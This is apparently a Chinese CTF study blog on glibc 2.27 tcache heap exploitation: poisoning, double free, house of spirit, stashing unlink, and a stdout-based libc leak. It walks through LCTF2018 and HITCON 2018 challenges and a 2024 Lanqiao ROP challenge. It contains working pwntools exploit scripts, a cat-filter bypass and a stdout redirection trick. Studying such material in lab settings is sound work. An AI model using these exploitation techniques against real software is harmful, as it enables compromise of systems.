small bin<0x3F0

large bin>0x3F0

tcache bin 最多有7个chunk,多的要放在其他bin中。

tcache poisoning

这个漏洞的的利用是很方便的,同时效果也很强,不过这个漏洞的很大问题在于这个目前只能在libc2.27的版本上利用,在高一点的版本都对其有检测,不能利用,这是很重要的一点。

这个漏洞利用的是在tcache中的链表对chunk的检测不完全而到导致的,先来讲一下tcache bin中的chunk结构。

当程序中有被free的程序进入到tcache bin中,当进入的数量大于两个后程序会将这里chunk通过他们的fd指针链接起来,而链接的过程是,由后一个进入tcache bin的chunk在fd中产生一个指向上一个chunk的数据段的指针,依次相连从而构成tcache bin,并且bin的记录的是新进入的chunk,在后面的程序有需要chunk时,程序变会从记录的第一个开始,依次分配chunk以供使用,所以其分配结构为先进后出,后进先出的结构。

那么既然知道了tcache bin中的chunk链表结构,便会发现一个很严重的问题,这里tcache bin上的chunk是有fd指针指向下一个chunk的数据段,来相连的。并且在libc.2.27这个版本中有一个很大的问题,在于使用fd指向的下一个chunk,在上一个chunk没分配出去后,将这个fd指向的记录在bin中时,程序不会有任何检测,同样的在malloc那块地址时,也不会对那块地址有任何检测,因此这里我们的这个漏洞便出现了。

到我们使用堆溢出或uaf将tcache bin中的chunk的fd指针,修改为一个我们需要修改的地址后(这里由于程序对那个地址没有一点检测,同时fd指针指向的是chunk的数据段,因此我们直接修改为要修改的地址就行),程序便会直接将那块地址记录在tcache bin中,我们一直申请向程序申请与之前的free chunk相同的chunk,那程序便会现将前面的chunk分出去,然后变会来到被我修改了的fd指针,并因为程序对chunk的不检查,从而导致我们输入到fd的地址被直接分配成我们需要的chunk以供我们使用,这样我们便可以修改那块地址。

总结一下

  1. 产生tcache bin中的chunk链表
  2. 将tcache bin中的chunk的fd指针修改为我们要修改的地址
  3. 申请大小与修改的chunk相同的chunk,一直申请到修改的fd指针被分配出去
  4. 我们要的地址被认作chunk分配给我们使用,从而修改那块地址

这个方法是很简单的一种,但限制也很大几乎只能在libc.2.27的条件下使用。

tcache dup

这个漏洞也是一个几乎只能在libc.2.27使用的漏洞。

这里利用的是在tcache bin对free进的函数没有然后检测从而利用的漏洞

这个漏洞也算是一个比较离谱的漏洞,这个简单说就是对同一个chunk连续两次free,在连续两次申请相同大小的chunk,从而导致程序中的后面两个malloc的指针同时指向一个chunk。这里的由于程序对这个释放的过程并不会有检测从而导致,我们能同时连续对一块chunk释放两次。中间甚至不用free其他的chunk从而间隔。

所以这个漏洞就是对同一个chunk,free两次,然后在申请相同大小的chunk两次,这两次的指针会指向同一个chunk。

tcache house of spirit

这个漏洞和上一个一样也是只能在libc.2.27的上使用的漏洞。

这个漏洞的利用很简单,只要我们在程序的某一个地方伪造一个fake_chunk然后将这个chunk直接free进tcache bin中,在后面的malloc中申请我们fake_chunk的大小chunk,这样就可以把这个fake_chunk当做一个真正的chunk分配给我们使用。

关于这个fake_chunk的伪造条件只有一个,就是要保证这个fake_chunk的size为一个相对正确的chunk大小,这样就可以满足要求了。

  • 找到要伪造的chunk的地址,就这个地址的size为一个正确的地址。
  • 将这个fake_chunk的数据段地址使用free函数将这个fake_chunk挂入tcache bin中
  • 申请我们刚刚free的fake_chunk的大小的chunk

这样我们fake_chunk就会被当做chunk供我们使用。

这个漏洞的利用相较上面的几种就相对来说要复杂一点,并且利用的东西也多了很多,

  • 当使用calloc分配的堆块时会从small bin中获取(不从tcache bin中拿)
  • 获取一次之后会将small bin中其余堆块挂进tcache中(前提tcache中有相同堆块的链表,且其中chunk大小相同有剩余)
  • 在将small bin中其余堆块挂进tcache中这个过程中只会对第一个挂进去的chunk进行完整性检查,后面的不做检查

这里其实就已经很明显的告诉我们这里我们可以在程序中,产生small bin后在small bin中修改chunk的控制字段,从而使伪造的fake_chunk挂入small bin中,在使用calloc分配一个相同大小的chunk,从而使small bin的剩下的chunk挂入tcache bin中,这里注意一定要保证我们伪造的fake_chunk之前还有一个正常的chunk,只有这样才能保证我们的fake_chunk能顺利挂入tcache bin,然后被分配出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 1 //gcc -g -no-pie hollk.c -o hollk
2 //patchelf --set-rpath 路径/2.27-3ubuntu1_amd64/ hollk
3 //patchelf --set-interpreter 路径/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2 hollk
4 #include <stdio.h>
5 #include <stdlib.h>
6 #include <assert.h>
7
8 int main(){
9 unsigned long stack_var[0x10] = {0};
10 unsigned long *chunk_lis[0x10] = {0};
11 unsigned long *target;
12
13 setbuf(stdout, NULL);
14
15 printf("stack_var addr is:%p\n",&stack_var[0]);
16 printf("chunk_lis addr is:%p\n",&chunk_lis[0]);
17 printf("target addr is:%p\n",(void*)target);
18
19 stack_var[3] = (unsigned long)(&stack_var[2]);
20
21 for(int i = 0;i < 9;i++){
22 chunk_lis[i] = (unsigned long*)malloc(0x90);
23 }
24
25 for(int i = 3;i < 9;i++){
26 free(chunk_lis[i]);
27 }
28
29 free(chunk_lis[1]);
30 free(chunk_lis[0]);
31 free(chunk_lis[2]);
32
33 malloc(0xa0);
34 malloc(0x90);
35 malloc(0x90);
36
37 chunk_lis[2][1] = (unsigned long)stack_var;
38 calloc(1,0x90);
39
40 target = malloc(0x90);
41
42 printf("target now: %p\n",(void*)target);
43
44 assert(target == &stack_var[2]);
45 return 0;
46 }

这里具体的根据这个案例来分析这种漏洞的利用(注意要使用libc.2.27来编译这个程序),

LCTF2018 PWN easy_heap

这个方向在wiki上的第一道题就是这个,这是一个极好的题目,其中对于如何泄露libc的手法很是奇妙,很值得仔细写一写。

先感谢hollk大佬的文章(补题)LCTF2018 PWN easy_heap超详细讲解_lctftk-CSDN博客写的很详细,膜拜大佬。

这道题的整体逻辑还是比较简单的,就是可以申请10个chunk,这10个chunk的大小固定,都为0xf8(数据段大小)。然后这10个chunk的指针和大小都会被记录进最开始的一个chunk中,然后我们可以对这10个chun进行,free,puts,其中的内容在最开始申请的时候就会被输入其中,后期不能更改。

整体看完程序会发现漏洞就一个,在chunk申请的时候能输入多少多少数据是由我们输入的大小决定的,这里由于我们这个chunk的大小为固定的0xf8,我们能输入的数据的最大大小也为0xf8,然后这里有个很大的问题在于用于向chunk读入的内容的函数,使用的是个循环函数,这里只要我们输入的大小为0xf8这个循环就会出现一个类似于off-by-one漏洞的null-byte-overflow漏洞(wiki上这么叫,虽然我感觉没什么差别),这里会对下一个chunk的size的最后两个位址覆盖为\x00,这里覆盖的这个位置正好是chunk中由于检测上一个chunk是否为free chunk的inuse标志位,当程序检测到这个chunk的上一个chunk为free chunk时,这个位址的值为0,否则为1。

然后就会发现,好了没有其他漏洞。是的,这道题的漏洞就只有这一个可以覆盖inuse标志位为0的漏洞,那么现在我们就要想办法看看能不呢使用什么方法来让我们能在程序中出现一个chunk既能有指针能调用,同时自身又在unsorted bin中,这样我们便可以直接通过打印这个chunk从而实现得到libc地址。

这里有一个需要先讲的知识点那就是当我们将数个相同的大小并且并且相邻的chunk被挂入unsorted bin中时,程序会为了后面的malloc方便会直接将这几个chunk在unsorted bin中合并成一个大的chunk,同时对于其中的之前的chunk会对其控制字段进行一定的改变,将其中的prev size会更具前面的free chunk的大小修改,同时size的inuse标志为0。

这里就有一个很大的问题如果我们在后期能将这个合并的大chunk,在后期将第一个chunk挂入unsorted bin中,同时有将最后一个chunk挂入其中,并修改其中的所有chunk1的控制字段与合并时相同(prev size和size的内容相同)程序会默认在unsorted bin中形成之前的那个大chunk,从而使我能对中间的那个chunk进行Double Free和泄露libc地址。

以下由于在程序中chunk的次序是由0开始,所以这里要注意下面的第几个chunk是从0开始数的第几,不是从1开始,要注意这一点避免认错chunk

  1. 申请10个chunk

    在这里插入图片描述

  2. 将前6个chunk和第9个chunk,free进入tcachebin中填满,再将第6到第8个chunk,free进入unsorted bin中。

    这里678这3个chunk被free到unsorted bin会合并为一个大chunk,使得chunk7和chunk8的prve size 和size的值分别被修改为0x100,0x100和0x200,0x100。chunk6的size为0x300。在这里插入图片描述

  3. 在向程序申请10个chunk,使得chunk成新的排列。

    在这里插入图片描述

  4. 在free前6个chunk和第7个chunk以填满tcachebin(这里最后一个填chunk8,是为了在后面可以直接申请这个从而覆盖chunk9的inuse标志位为0,让程序以为chunk8也是free chunk),再将chunk7也free掉使其进入unsorted bin,同时这样也能修改chunk7的inuse标志位也为0,

  5. 再向程序malloc一个chunk,程序会将上一个中chunk8拿给我们使用(chunk8在tcachebin的第一位,第一个分配)这里直接使用漏洞修改chunk9中的inuse标志位,使其认为上一个chunk为free。

  6. free掉chunk6的chunk用于填满tcachebin中刚刚分配的那一个,然后在free掉chunk9的chunk。

    这里由于之前我们通过第二步的3个chunk的合并,使得上面第3步后的chunk789的chunk中的prev size和size都被修改了。然后在第4步时我们又将chunk7 free进unsorted bin,这样使得chunk8中的size的inuse标志位为0。此时这两个chunk的控制字段与第2步的相同了,此时我们在free掉chunk9的chunk,正常情况下由于chunk8在第5步时不是free chunk了,所以这里chunk9的size的inuse标志位为1。即使我们在这里free了chunk9也不会有什么问题发生,但是由于我们在第5步时将chunk9的size的inuse标志位覆盖为0了,于是这里我们在将chunk9 free时就会使程序中的unsorted bin中又出现第2步的3个合并的大chunk,但是chunk8却在第5步时被程序拿给我们了。

  7. 将tcachebin中的7个chunk和unsorted bin中的第一个chunk7的chunk都malloc出来那此在程序中。unsorted bin的第一个hunk便是以第3歩中的chunk8为起始地址,但是在新的chunk0中记录的正好就是chunk8的指针。

  8. 打印chunk0的内容,从而得到libc的地址。

以上就是这道题中关于libc的泄露,只是基本步骤,具体的有时间再仔细分析一下,这个方法还是很奇妙的,利用到unsorted bin中chunk的合并,从而使的程序中误认为有大free chunk的出现。

这道题我写的比较简陋,只是为了我自己方便研究这个方法,更好的推荐看这个地方Tcache attack - CTF Wiki (ctf-wiki.org)和上面提到的大佬的博客讲的更加直观与详细。

HITCON 2018 PWN baby_tcache

又来讲一讲题的新的新做法,其实也不新,不过是之前那道题的plus版本,并且这到题我感觉重点其实在于通过IO_FILE输出的方式进行泄露libc地址,这种方法我现在学的也不是很懂。这道题到写这篇文章的时候,我能把libc的地址泄露出来,但问题在于我这里泄露之后程序就好像不能再继续进行下去了之后的堆申请这些都进行不下去,很好奇为什么,等之后有时间将这个IO_FILE系列的在仔细学一下,在回来解决这个问题。

这里虽然我没有彻底将这道题整完,不过到把libc泄露出来之后后面的就是几步的事情,所以这道题最大的问题就与如何将这libc的地址泄露出来。

这里还是先讲一下知识点,在之前我们提到了有关于unsorted bin的合并这个点,之前好像写的有点问题,那就是合并的时候中间的chunk是不用关注是否有prev size和size是否满足free的条件的。只要在unsorted bin中有一开始的那个chunk,然后我们要合并的大chunk的最后一个chunk的prev size和size的条件是满足这个合并的要求的就行。我们要对最后一个chunk的修改时prev size要修改为前面的chunk的总大小,size的最后一位要为0(inuse标志位)。这样修改好后我们先将最前面的chunk free掉,在free我们修改的这个chunk(必须要保证这两个chunk的大小都是能直接进入unsorted bin的,中间的chunk大小可以不管),这样程序变会直接在unsorted bin中形成一个大chunk。

关于IO_FILE输出的方式进行泄露libc地址这个方法的原理我还不太清楚这里先讲一下怎么使用吧。

先来看正常情况下我们修改的地方

image-20240623160333184

这个_IO_2_1_stdout_就是我们要修改的地方,现在是正常的情况下(这里可以直接使用x/20gx stdout 这个命令查这个这个地址),而我们对于要泄露libc的修改条件为

  • _IO_2_1_stdout_=0xfbad1800
  • _IO_2_1_stdout_+8=0
  • _IO_2_1_stdout_+16=0
  • _IO_2_1_stdout_+24=0

还有这个_IO_2_1_stdout_+32这个地址的修改是最复杂的,这里我们只修改这个地址的最后一个字节,其他的都不修改,这个的修改要更具情况来看,修改为执行一个又libc地址的地方,这里我们选择为c8(这里修改的地址程序会直接从这里开始打印内容,具体为什么,等我后面彻底学会了在来解释)。

这就是修改后的样子

image-20240623163203681

就这样修改后程序变回从0x7b3dae5ec7c8开始打印一直到遇到那个0a结束。

这里会有一个问题我们都不知道程序的libc地址,我们还怎么修改这个_IO_2_1_stdout_的内容?这里又是一个新的想法和思路,我们知道对于处于unsorted bin中的chunk,只要你是第一个chunk就会在fd指针指向main_arena+96这个地址,如图image-20240623163703931

这里你仔细看会发现这个main_arena+96的地址为0x7b3dae5ebca0,而_IO_2_1_stdout_的地址为0x7b3dae5ec760这两个地址的差别就在于最后4为数。main_arena+96为bca0,_IO_2_1_stdout_为c760。这里虽然程序有地址随机化这个保护,但这里程序对与最后4位数字是不会改变的,因此我们只要将unsorted bin中的chunk的fd指针指向的main_arena+96的地址的最后4为数字修改为c760,这样就可以知道_IO_2_1_stdout_的地址。

这里有一个很奇妙的方法,我们知道在tcachebins中对bk指针指向的chunk没有太多的检查(这道题的环境是libc.2.27,前面好像忘记说了,这里讲的利用方法都是基于libc.2.27这个版本来的),我们既然要修改_IO_2_1_stdout_地址的内容,那这里就要想是不是可以通过将这个地址成为tcachebins中chunk的bk指针,然后就可以直接通过申请chunk来使程序将那块地址分配给我当chunk使用,这样我们就可以直接修改那块地址内容。

结合上面说的,我们可以现在程序中选定一块chunk,先将这块chunk free进tcachebins中。然后在通过修改这块chunk的前后chunk,使得联通这个chunk一起在unsortedbin中形成一个大chunk。然后向unsortedbin中申请chunk使得之前我们选定的chunk成为unsortedbin的第一个chunk,这样程序为因为这个chunk在unsortedbin为第一个chunk从而向其中的bk指针注入main_arena+96(0x7b3dae5ebca0),同时因为这个chunk还在tacahebins中,故在tacahebins中又会有我们选定的chunk的bk指针执向main_arena+96(0x7b3dae5ebca0)的结构,如图

image-20240623165916108

这里我们选定chunk同时在unsortedbin和tcachebins都有。这里我还要修改unsorted bin中的chunk的fd指针指向的main_arena+96的地址的最后4为数字修改为c760,这里我们可以像unsortedbin中申请一个chunk(注意这里申请的chunk的大小一定要注意,必须大于tcachebins中的大小,使得程序能从unsortedbin中分配这个chunk)然后我们在修改我们申请的chunk的bk位得最后4个数字,使得其指向_IO_2_1_stdout_。如图

image-20240623170440937

这样就可以使_IO_2_1_stdout_的地址出现在我们程序中。我们在这里向程序连续两次申请chunk,就可以得到以_IO_2_1_stdout_为chunk地址的chunk,从而做的我们的修改的目的。

知识点讲完了,来简单说一下这道题的流程。

  1. 申请7个chunk,最终大小(带控制字段)分别为0x500,0x40,0x50,0x60,0x70,0x500,0x80

    image-20240623172009579

  2. 将第4个chunk(从0开始数)大小为0x70的chunk free掉,在申请出来用于修改第5个chunk的prev size为0x660(前面的chunk总和0x500+0x40+0x50+0x60+0x70=0x660),在将size的inuse标志位覆盖为0

image-20240623172122943

  1. free掉第2个chunk,使其进入tcachebins。在依次free第0个chunk和第5个chunk,使其在unsortedbin中形成从chunk0到chunk5的大chunkimage-20240623172434084

  2. 在申请相依大小的chunk(我这里为0x530注意控制字段的影响)从unsortedbin出来,使chunk2成为unsortedbin的头chunk。

    从而在chunk2的bk中有main_arena+96的地址,并在tcachebins中有链表指针

    image-20240623172810509

  3. 在将第4个chunk,free进tcachebins中,使得我们之后从unsortedbin中申请chunk修改地址后,chunk4的bk指针又在tcachebins中出现于第4步的情况。为libc泄露后修改hook做准备。image-20240623173121771

  4. 申请相应的chunk大小(0xa0),修改tcachebins中chunk2的bk指针的最后4个数字为c760,使其指向_IO_2_1_stdout_的地址。同时也让chunk4成为unsortedbin的头地址,出现于第4步的情况。

    image-20240623173444786

  5. 在连续申请两次大小为0x40的chunk(最终大小满足0x50),使得在第二次时程序将_IO_2_1_stdout_的地址当做chunk给我们使用。

    在修改

    • _IO_2_1_stdout_=0xfbad1800
    • _IO_2_1_stdout_+8=0
    • _IO_2_1_stdout_+16=0
    • _IO_2_1_stdout_+24=0
    • _IO_2_1_stdout_+32的最后两个数字为c8

    第一次申请image-20240623174009577

    第二次申请,并修改。image-20240623174109860

  6. 当程序执行完这个后没救会把从0x78b2103ec7c8到0x78b2103ec7e3的数据都打印出来。这里打印的前8个数据(0x78b2103eba00)这个与libc基地址的距离是固定的(0x3Eba00,这个最好根据程序来看)。这样我们就可以应该不使用puts等函数将libc的基地址打印出来。image-20240623174547683

    这里我不知道为什么我的程序打印结束后就卡在这里了,后面直接不执行了,等我以后把这个流程的具体学会了在回来解释。

  7. 后面的就很简单了,还记得chunk4这个吗,我们之前让他在tcachebins又在unsortedbin,形成double free。这样我们只要先从unsortedbin中把他申请出来,并修改bk指针为free_hook的地址,使得在tcachebins形成一个新的链表。

  8. 然后在从tcachebins中申请两次使得free_hook的地址成为一个chunk供我们使用,在向其中注入one_gadget地址,在调用free函数,从而执行one_gadget拿到shell

这里总感觉我的修改_IO_2_1_stdout_的内容从而泄露libc的过程又点问题,同时这个的原理也不清楚,等以后再找来学一学,重新整一下这个题。不过这里有管tcachebins和unsortedbin中同时出现一个chunk,从而修改bk指针的方法还是很奇妙的值得一学。

shell的获取,输出重定向he例题

昨天学长在打完蓝桥杯后将其中的pwn题的一道给了我,让我整整,不算难,不过其中有的关于拿到shell的获取flag的姿势还是比较特殊的,属于不难但是比较偏的考点,确实我在做的时候并没有做出来,后来在学长的提醒与上网查资料下才知道的考点,故写一写这篇文章记录一下新学到的这个骚姿势。

关于shell的获取

在pwn题中出了那些上了沙箱的题目不能直接拿到shell外,其他的题主要目的便是拿到远程服务器的shell用以读取flag的值,因此shell的获取成为关键的一步,除去ret2dlresolve和SROP这种特殊方法拿到shell外,用system函数几乎是主要的方法

  1. system(/bin/sh)
  2. system(sh)
  3. system($0)

以上这3种基本就是通过system函数执行参数拿到shell的方法。这里$0就这道要用到拿到shell的方法。

这3种方法主要以/bin/sh用的最多,这个参数在程序中可以通过libc的地址找到,sh则一般在程序中独立有的情况下才用。$0这更少只在特殊的题才会用到。

输出重定向

在shell命令中有一种叫Shell 输入/输出重定向的规则,

我的理解便是在shell的交互过程中,通过一些命令的作用将其不再往常一样从屏幕上输入,并向屏幕上输出。

简单的就像将输入的过程重定向到某个文件中,那么shell便会将文件中的内容当命令一行一行的执行,而输出重定向则相反,通过将输出的过程重定向到某个文件,从而使shell将命令执行后的结果输出到该文件中,不再屏幕上输出。

看起来这个似乎与我们的拿取flag的内容关系不大,但在有的题目中出题人为了恶心人,会将有的字母标记为不可执行的字母,或者在命令中出现这些字母便不能执行,会报错不能达到命令的既定效果。就像蓝桥杯的这道题。在程序中便禁止cat的同时出现与b,s,/,i,n这几个字符的出现,同时还用close(1)函数将程序的输出关闭。

那我们输入的命令真的就不能执行吗,其实也一不一定,像将某些东西输出到屏幕上的命令如cat等其实程序是执行的不过在输出结果之前,因为程序中有close(1),程序便不会再将命令的执行效果输入到屏幕上,而是将报错的内容输出到屏幕上。既然如此,那我们有没有办法将程序执行结果的覆盖报错的结果并输出到屏幕上呢(前提这个命令在没有限制的前提下是能执行有结果的),这种办法便是输入重定向。

在了解这种方法之前我们还需要知道宁外一个知识点,文件描述符(fd)

这个文件描述符通常有数字表示

  • 0 代表标准输入(stdin)。
  • 1 代表标准输出(stdout)。
  • 2 代表标准错误输出(stderr)。

0代表输入,1代表输入(正确的结果),2代表报错的内容输出

既然知道这个了便可以想想在之前的重定向中输入的过程便是文件描述符中的0,正确执行结果的输出便是1,报错内容的输出便是2,那在重定向的过程中如果我们能将1的输出重定向成2,那便是将正确的结果替换成报错的结果被程序当做应该输入到屏幕上的内容输入到屏幕上。(好像有点绕,不够多看几遍应该能理解吧)

在这里用这个方法的主要原因在于之前的程序中有一个close(1)这个命令,将程序的标准输出关闭了,使得程序中的执行结果的输入通道被关闭,于是程序中的命令在执行后的结果不能正确输出,于是便用重定向将标准输出替换为错误输出,将我们想要的结果输出出来。

这个命令是什么呢,就是2>&1这个

在命令中,2>&1 是用来重定向标准错误(stderr)到标准输出(stdout)的。

  • 2 代表标准错误(stderr)。
  • 1 代表标准输出(stdout)。
  • > 是重定向操作符。
  • & 表示我们是在重定向一个文件描述符(在这种情况下是标准错误),而不是创建一个名为&1的文件。

因此,2>&1 说的是:“将标准错误(文件描述符2)重定向到与标准输出(文件描述符1)相同的地方。”

1>&2 说的是:“将标准输出(文件描述符1)重定向到与标准错误(文件描述符2)相同的地方

就这样便可以完美避过在程序中对我们命令的检查,从而执行我们想要的命令并获得想要的结果。

关于这个命令的使用,很简单,就加再正常命令的后面,如

1
cat flag 1>&2

直接这样用便是可以的了。具体的我们以下面这道例题分析。

2024蓝桥杯的pwn题,先checksec一下

image-20240428212948696

没什么保护,并且这道题没有给libc版本说明这道题不用去泄露libc的地址也是能做的,不考虑环境问题。

来看主函数

image-20240428213213551

init函数只是在释放缓冲区并没有什么用,不用管,可以看到程序先是向info中读入0xe长度的数据,并且这个info不是栈的变量而是一个bss段的空间,故我们想info中读取的数据存放在哪我们是知道并且可以利用的,后面便是一个栈溢出的漏洞,虽然能溢出的大小不算太大但也不小,足够执行一些命令了,然后便是来到check函数这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl check()
{
unsigned int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 0xD; ++i )
{
if ( info[i] == 'c' && info[i + 1] == 'a' && info[i + 2] == 't' )
{
puts("Do not use `cat` command.");
exit(0);
}
if ( info[i] == 'b' || info[i] == 's' || info[i] == '/' || info[i] == 'i' || info[i] == 'n' )
{
puts("Do not use some other characters.");
exit(0);
}
}
return close(1);
}

这里便是其内容,简单来说便是对输入到info中的数据进行检测,使其中不能有连续的cat出现和b,s,/,i,n这几个字符的单独出现。这里看似只是检测info中的数据但是在拿到shell后会发现这个检测对向shell中输入的命令也是存在的(这已经是后话了目前主要先拿到shell)

并且之这个函数的最后一行命令是return close(1);

close函数是与open函数相对的函数,open的意思在于打开某个东西的意思,而close的意思在于关闭某个东西的意思,在这里由于使用close关闭1,这里1作为单独的参数出现便表明这里的意思为前文标准输出(stdout),然后再结合关闭这个函数,在这里便是使用程序将标准输出这个通道关闭,使得在后面的程序对于执行的命令不在将执行的结果输出,看到这里其实便可以想到使用要使用重定向这个过程,将输出的过程覆盖错误输出的过程,讲我们需要的结果打印出来。

在回到main函数中,仔细看这个程序会发现在程序中其实是有后门函数的

image-20240428214648408

有system函数,不过其中的参数没什么有,不过既然有这个函数那便可以调用这个函数,那现在我们便只用解决参数的问题然后便可以调用system函数从而获得shell,

在一开始时程序可想info的地方输入数据,并且这个info的地址还是已知的存在,不过在后面的检查中不能有连续的cat出现和b,s,/,i,n这几个字符的单独出现,那拿到shell的前两种方法便已经没用了,还有一种$0似乎可以,先向info中输入$0,然后在栈溢出中将info的地址赋值给rdi寄存器,然后调用system函数从而执行system($0)命令获得shell。
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
io=process('./pwn1')

context.log_level = 'debug'
#gdb.attach(io,'b *0x4008a1')
#pause()



#io.sendafter('stack.\n',b'ca\\t flag 1>&2')
io.sendafter('stack.\n',b'$0')

info=0x601090
pop_rdi_ret=0x400933
system=0x4005D0
ret=0x00000000004005ae

printf=0x4008A1

payload=b'A'*0x28+p64(pop_rdi_ret)+p64(info)+p64(ret)+p64(system)
payload = payload.ljust(0x48,b"A")
io.sendafter('...\n',payload)
#static-sh ./flag
#exec 1>&2 cat flag
io.interactive()

好像这样执行拿到shell就大工告急了,but,

image-20240428220239242

在shell执行命令后会发现之前check函数的检测还在,同时由于之前在check函数中有close(1)这个命令使得程序的标准输出被关闭,不能在将我们需要的结果输出只输出错误结果,那现在的问题就在与如何将这个检测绕过了。

其实答案就在上面知识点的那个输出重定向,便可以完美解决这里的问题,既然程序只能输出错误结果那我就将标准输出重定向到错误结果输出这里,是程序认为,标准输出的结果是错误输出的结果将其输出。

这个重定向的启动该怎么启动,在这道题中有两种方法,一种是直接打印不拿shell,宁一种是在拿到shell后使用命令重定向。

1.拿到shell后使用命令重定向

在拿到程序的shell后执行

1
2
exec 1>$2
cat flag

结果如下:

image-20240429111056137

解释一下第一行命令,exec这个命令的意思在于,在当前shell的前提下重新再打开一个shell,并且结合后面的命令对这个新的shell进行改变。后面这个1>$2,便是输出重定向的内容,

全意便是,在当前这个shell的前提下重新打开一个shell,并且在这个shell中程序的标准输出将覆盖错误输出,由于在之前的shell中,标准输出已知被关闭了,如果我们输入cat等命令只会输出错误结果。而在新的shell中程序会把cat等命令的标准输出当做错误结果输出。这样我们便可以在新的shell中拿到flag的值。

2.直接打印不拿shell

输出重定向的过程除了重新启动一个新的shell完,还可以在单独的命令中使用如

1
cat flag 1>$2

在这里程序便会将这一行命令的标准输出覆盖错误输出,将执行结果输出,不过在拿到shell后想执行这个命令并不能成功,

image-20240429112924204

其主要原因我估计还是在对cat的检查上便已经停止执行了。

既然在shell中执行不成功,那我们便要想其他办法,来将flag打印出来。

其实在之前的system函数的执行中就有一种办法,在system函数的执行除了执行/bin/sh拿到shell外,其实还可以直接执行cat flag这个参数将flag的内容打印出来,不过由于这个参数一般不好找故不常用,不过在这里由于一开始可以向一个地址输入数据,所以这里是可以用的,在加上之前的重定位,关于close(1)的这里便可以绕过,

但是这里还有一个关于cat的检查,这个其实也有办法绕过,可以再命令中使用‘\’这个加载cat的中间,使其成为c\at或c\at,在shall命令中**’\‘**这个并不代表任何意思,无论你加在哪里都没有问题,程序都会默认执行,不去管这个符号的存在,那这样我们便可以利用这个符号绕过cat的检测。

但这个符号的使用会出现很多问题,

  1. 不能再shell中使用,因为我们的shell是通过python链接的故单独的\会被程序认为是\\从而出现错误(在py语法中\\才能在打印过程中表示\)
  2. 在输入程序中也不许用\\才能输入\

因此在程序的第一次输入中,要输入

1
ca\\t flag 1>&2或c\\at flag 1>&2

然后在调用这个参数通过system函数执行这样程序便会直接将flag的内容打印在屏幕上了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
io=process('./pwn1')

context.log_level = 'debug'
#gdb.attach(io,'b *0x4008a1')
#pause()



io.sendafter('stack.\n',b'ca\\t flag 1>&2')
#io.sendafter('stack.\n',b'$0')

info=0x601090
pop_rdi_ret=0x400933
system=0x4005D0
ret=0x00000000004005ae

printf=0x4008A1

payload=b'A'*0x28+p64(pop_rdi_ret)+p64(info)+p64(ret)+p64(system)
payload = payload.ljust(0x48,b"A")
io.sendafter('...\n',payload)
#static-sh ./flag
#exec 1>&2 cat flag
io.interactive()

image-20240429115911123

好了,那这道题就到此为止吧。run

patchelf使用和例题

之前打了一下他们中国海洋大学的比赛,ε=(´ο`*)))唉太痛了,好几题都已将被打烂了,都没整出来,花了好几天才整出来一天,这一题还有的关键的地方是学长交的,太菜了,写这篇文件记录一下吧

写这篇文章的时候比赛还没有结束,那关于题目的wp等比赛结束了在发出来

image-20240427093653994

image-20240427093659333

有关于patchelf这个工具的使用

在pwn题中,很多题目在远程的环境有很多种而这些不同的环境对pwn题的影响有很大,有的题目的编译环境与能不能打通有直接的关联,在本地的程序一般会直接使用本地的libc这会使我们在攻击本地与攻击远程有很大的出入,而patchelf这个工具的最大用处便是将远程的环境与本地环境不同的这个问题解决的很好用的工具。

一般远程的libc版本在题目中是会随可执行文件一起能被下载的,而这个工具的作用便是在于将本地的可执行文件(elf文件)的调用libc库从本地的固定的库转换为题目中提供的那个,是我们在攻击时,能保持本地与远程环境的一致,方便本地的攻击与调式。在本地打通后只要将链接的方式改为远程便可以

现在先介绍关于这个工具的使用:

1
2
3
patchelf --set-interpreter /home/giantbranch/Desktop/glibc-all-in-one/libs/2.31-0buntu9.9_amd64/ld-2.31.so --set-rpath /home/giantbranch/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64 login(文件名)

patchelf --set-interpreter libc文件名(包括路径) --set-rpath libc文件所在的文件夹全名(包括路径) pwn(文件名)
1
patchelf --set-interpreter  /home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so(根据题目要求的libc版本来) --set-rpath /home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64(文件夹名固定) pwn

如果在远程的libc版本在本地的libc库中没有,将其拖入那个文件夹中便可以。

关于这个工具的下载一下是其在github上的位置,可以按文档上的介绍来做(中间可能会遇到一些问题,可以上网查一下,我是学长直接帮我下好的,我是菜狗)

NixOS/patchelf:一个修改 ELF 可执行文件的动态链接器和 RPATH 的小实用程序 — NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables (github.com)

image-20240427093915945

老规矩拿到题目先checksec一下

image-20240427094139743

这里有一个问题在于在于这里的checksec比正常的多了最后一个,这个是我自己加上的,在拿到题目直接checksec只会有前5个,这第6个便是使用上文的patchelf工具将这个题目的libc链接库改到题目给的2.23版本后checksec的结果

在这里由于远程提供的是2.23的libc版本,所以这道题的编译环境也是这个版本,由于在不同版本中其对于不同漏洞的机制是不同的,所以有的漏洞在特定的版本上能打通在有的过高的版本就打不同,像这道题我写的脚本打本地就是打不通的,但一旦换到远程就可以打通。所以以后再遇到题目提供的libc版本与本地的版本并不同的时,最好在一开始就将文件的调用的libc版本从本地的换到与远程相同的版本。

这道题在我这里的更换命令如下,各位师傅可以更具自己的电脑进行更改。

1
2
patchelf --set-interpreter /home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath  /home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64 bs

好那现在便将这个程序拖入到ida中

先看main函数:

image-20240427101015015

就两个函数那就一个一个点进去看,先看第一个

image-20240427101105315

那这样就很明显这道题是有沙箱保护的,那就再看沙箱有哪些保护

image-20240427101401242

